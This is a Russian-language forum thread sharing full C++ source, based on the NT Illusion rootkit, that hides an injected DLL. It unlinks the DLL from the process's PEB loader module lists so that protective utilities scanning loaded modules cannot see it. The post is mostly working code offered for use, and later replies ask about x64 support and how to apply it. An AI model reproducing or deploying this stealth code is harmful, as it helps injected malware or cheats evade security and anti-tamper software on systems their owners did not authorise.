1 Attachment(s)
[Sources] Hiding injected dll
[hidden]Некоторые заshitные утилиты проверяют список загруженных модулей (Чаще всего, с помошью CreateToolhelp32Snapshot) ) и если находят делают всякие пакости.
Ниже приведен код, который обходит большинство подобных заshit (Основан на коде руткита NT Illusion).
sources:
Spoiler
Code:
//за основу был взят код руткита NT Illusion
#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib,"ntdll.lib")
bool internalHideDLL(HMODULE imagebase, PLIST_ENTRY moduleList, int type)
{
const DWORD imagebaseOffset = 0x18;
DWORD offset;
PLIST_ENTRY pList = moduleList;
PLIST_ENTRY tmp;
HMODULE hModBase;
switch(type)
{
case 1://init order
offset = 0x10;
break;
case 2://mem order
offset = 0x8;
break;
case 3://load order
offset = 0x0;
break;
default:
return false;
}
while(true)
{
hModBase = (HMODULE)(*(DWORD *)(((DWORD)(pList)) + (imagebaseOffset-offset)));
if(imagebase == hModBase)
{
tmp = pList->Flink;
pList->Flink->Blink = pList->Blink;
pList->Blink->Flink = pList->Flink;
return true;
}
else
{
pList = pList->Flink;
if(pList == moduleList)
return false;
}
}
}
bool hideDll(char * dllName)
{
HMODULE hDll = GetModuleHandleA(dllName);
if(!hDll)
return false;
PROCESS_BASIC_INFORMATION pbiInfo;
DWORD tmp;
if(NT_SUCCESS(NtQueryInformationProcess(GetCurrentProcess(),ProcessBasicInformation,&pbiInfo,sizeof(pbiInfo),NULL)))
{
if(!internalHideDLL(hDll,&pbiInfo.PebBaseAddress->Ldr->ModuleListInitOrder,1))
return false;
if(!internalHideDLL(hDll,&pbiInfo.PebBaseAddress->Ldr->ModuleListMemoryOrder,2))
return false;
if(!internalHideDLL(hDll,&pbiInfo.PebBaseAddress->Ldr->ModuleListLoadOrder,3))
return false;
return true;
}
else
return false;
}
P.S. Tested on winXp sp2, sp3[/hidden]
Re: [Sources] Hiding injected dll
я так понимаю что работает только на х32 системах ?
Re: [Sources] Hiding injected dll
Quote:
Originally Posted by a4123278
я так понимаю что работает только на х32 системах ?
Скорее всего заработает и на x64 сразу, или после незначительной доработки.
Re: [Sources] Hiding injected dll
Это очень интересно звучит! Но подскажи как этим пользоваться? А то тут не все супер программисты)